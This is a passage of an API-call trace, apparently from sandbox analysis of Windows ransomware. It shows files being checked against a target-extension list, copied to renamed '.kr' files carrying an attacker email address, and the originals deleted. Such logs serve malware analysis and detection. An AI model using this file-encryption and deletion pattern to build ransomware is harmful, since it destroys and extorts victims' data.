lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.342] SetEndOfFile (hFile=0x3f8) returned 1 [0212.342] CloseHandle (hObject=0x3f8) returned 1 [0212.342] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.342] SetEndOfFile (hFile=0x3c4) returned 1 [0212.345] CloseHandle (hObject=0x3c4) returned 1 [0212.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 1 [0212.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0212.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0212.346] lstrlenW (lpString=".doc") returned 4 [0212.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.346] lstrlenW (lpString=".docx") returned 5 [0212.346] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0212.347] lstrlenW (lpString=".pdf") returned 4 [0212.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.347] lstrlenW (lpString=".xls") returned 4 [0212.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.347] lstrlenW (lpString=".xlsx") returned 5 [0212.347] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0212.347] lstrlenW (lpString=".ppt") returned 4 [0212.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0212.347] lstrlenW (lpString=".zip") returned 4 [0212.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.347] lstrlenW (lpString=".rar") returned 4 [0212.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.347] lstrlenW (lpString=".bz2") returned 4 [0212.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.347] lstrlenW (lpString=".7z") returned 3 [0212.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0212.347] lstrlenW (lpString=".dbf") returned 4 [0212.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0212.347] lstrlenW (lpString=".1cd") returned 4 [0212.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0212.347] lstrlenW (lpString=".jpg") returned 4 [0212.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0212.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0212.347] lstrlenW (lpString=".doc") returned 4 [0212.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.347] lstrlenW (lpString=".docx") returned 5 [0212.347] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0212.347] lstrlenW (lpString=".pdf") returned 4 [0212.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.348] lstrlenW (lpString=".xls") returned 4 [0212.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.348] lstrlenW (lpString=".xlsx") returned 5 [0212.348] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0212.348] lstrlenW (lpString=".ppt") returned 4 [0212.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0212.348] lstrlenW (lpString=".zip") returned 4 [0212.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.348] lstrlenW (lpString=".rar") returned 4 [0212.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.348] lstrlenW (lpString=".bz2") returned 4 [0212.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.348] lstrlenW (lpString=".7z") returned 3 [0212.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0212.348] lstrlenW (lpString=".dbf") returned 4 [0212.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0212.348] lstrlenW (lpString=".1cd") returned 4 [0212.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0212.348] lstrlenW (lpString=".jpg") returned 4 [0212.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.348] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0212.348] lstrlenW (lpString="J0107482.WMF") returned 12 [0212.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0212.350] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=4980) returned 1 [0212.350] CloseHandle (hObject=0x3c4) returned 1 [0212.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 0x220 [0212.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0212.350] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.350] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0212.351] GetLastError () returned 0x0 [0212.351] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1374, lpOverlapped=0x0) returned 1 [0212.353] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1380, lpOverlapped=0x0) returned 1 [0212.354] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.354] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.354] SetEndOfFile (hFile=0x3f8) returned 1 [0212.354] CloseHandle (hObject=0x3f8) returned 1 [0212.354] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.354] SetEndOfFile (hFile=0x3c4) returned 1 [0212.356] CloseHandle (hObject=0x3c4) returned 1 [0212.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 1 [0212.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0212.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0212.358] lstrlenW (lpString=".doc") returned 4 [0212.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.358] lstrlenW (lpString=".docx") returned 5 [0212.358] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.358] lstrlenW (lpString=".pdf") returned 4 [0212.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.359] lstrlenW (lpString=".xls") returned 4 [0212.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.359] lstrlenW (lpString=".xlsx") returned 5 [0212.359] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.359] lstrlenW (lpString=".ppt") returned 4 [0212.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0212.359] lstrlenW (lpString=".zip") returned 4 [0212.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.359] lstrlenW (lpString=".rar") returned 4 [0212.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.359] lstrlenW (lpString=".bz2") returned 4 [0212.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.359] lstrlenW (lpString=".7z") returned 3 [0212.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0212.359] lstrlenW (lpString=".dbf") returned 4 [0212.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0212.359] lstrlenW (lpString=".1cd") returned 4 [0212.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0212.359] lstrlenW (lpString=".jpg") returned 4 [0212.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0212.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0212.359] lstrlenW (lpString=".doc") returned 4 [0212.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.359] lstrlenW (lpString=".docx") returned 5 [0212.359] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.359] lstrlenW (lpString=".pdf") returned 4 [0212.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.360] lstrlenW (lpString=".xls") returned 4 [0212.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.360] lstrlenW (lpString=".xlsx") returned 5 [0212.360] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.360] lstrlenW (lpString=".ppt") returned 4 [0212.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0212.360] lstrlenW (lpString=".zip") returned 4 [0212.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.360] lstrlenW (lpString=".rar") returned 4 [0212.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.360] lstrlenW (lpString=".bz2") returned 4 [0212.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.360] lstrlenW (lpString=".7z") returned 3 [0212.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0212.360] lstrlenW (lpString=".dbf") returned 4 [0212.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0212.360] lstrlenW (lpString=".1cd") returned 4 [0212.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0212.360] lstrlenW (lpString=".jpg") returned 4 [0212.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.360] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0212.360] lstrlenW (lpString="J0107484.WMF") returned 12 [0212.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0212.361] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3040) returned 1 [0212.361] CloseHandle (hObject=0x3c4) returned 1 [0212.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 0x220 [0212.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0212.362] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.362] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0212.363] GetLastError () returned 0x0 [0212.363] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xbe0, lpOverlapped=0x0) returned 1 [0213.107] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xbf0, lpOverlapped=0x0) returned 1 [0213.108] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.108] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0213.108] SetEndOfFile (hFile=0x3f8) returned 1 [0213.108] CloseHandle (hObject=0x3f8) returned 1 [0213.108] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.108] SetEndOfFile (hFile=0x3c4) returned 1 [0213.111] CloseHandle (hObject=0x3c4) returned 1 [0213.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 1 [0213.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0213.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0213.113] lstrlenW (lpString=".doc") returned 4 [0213.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.113] lstrlenW (lpString=".docx") returned 5 [0213.113] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0213.113] lstrlenW (lpString=".pdf") returned 4 [0213.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.113] lstrlenW (lpString=".xls") returned 4 [0213.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.113] lstrlenW (lpString=".xlsx") returned 5 [0213.113] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0213.113] lstrlenW (lpString=".ppt") returned 4 [0213.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0213.113] lstrlenW (lpString=".zip") returned 4 [0213.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.113] lstrlenW (lpString=".rar") returned 4 [0213.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.113] lstrlenW (lpString=".bz2") returned 4 [0213.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.113] lstrlenW (lpString=".7z") returned 3 [0213.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0213.114] lstrlenW (lpString=".dbf") returned 4 [0213.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0213.114] lstrlenW (lpString=".1cd") returned 4 [0213.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0213.114] lstrlenW (lpString=".jpg") returned 4 [0213.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0213.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0213.114] lstrlenW (lpString=".doc") returned 4 [0213.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.114] lstrlenW (lpString=".docx") returned 5 [0213.114] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0213.114] lstrlenW (lpString=".pdf") returned 4 [0213.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.114] lstrlenW (lpString=".xls") returned 4 [0213.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.114] lstrlenW (lpString=".xlsx") returned 5 [0213.114] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0213.114] lstrlenW (lpString=".ppt") returned 4 [0213.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0213.114] lstrlenW (lpString=".zip") returned 4 [0213.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.114] lstrlenW (lpString=".rar") returned 4 [0213.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.114] lstrlenW (lpString=".bz2") returned 4 [0213.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.114] lstrlenW (lpString=".7z") returned 3 [0213.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0213.115] lstrlenW (lpString=".dbf") returned 4 [0213.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0213.115] lstrlenW (lpString=".1cd") returned 4 [0213.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0213.115] lstrlenW (lpString=".jpg") returned 4 [0213.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.115] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.115] lstrlenW (lpString="J0107516.WMF") returned 12 [0213.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.358] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=14008) returned 1 [0214.358] CloseHandle (hObject=0x568) returned 1 [0214.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 0x220 [0214.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.359] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.359] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.361] GetLastError () returned 0x0 [0214.361] ReadFile (in: hFile=0x568, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x36b8, lpOverlapped=0x0) returned 1 [0214.363] WriteFile (in: hFile=0x478, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x36c0, lpOverlapped=0x0) returned 1 [0214.364] ReadFile (in: hFile=0x568, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.364] WriteFile (in: hFile=0x478, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0214.364] SetEndOfFile (hFile=0x478) returned 1 [0214.364] CloseHandle (hObject=0x478) returned 1 [0214.365] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.365] SetEndOfFile (hFile=0x568) returned 1 [0214.368] CloseHandle (hObject=0x568) returned 1 [0214.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 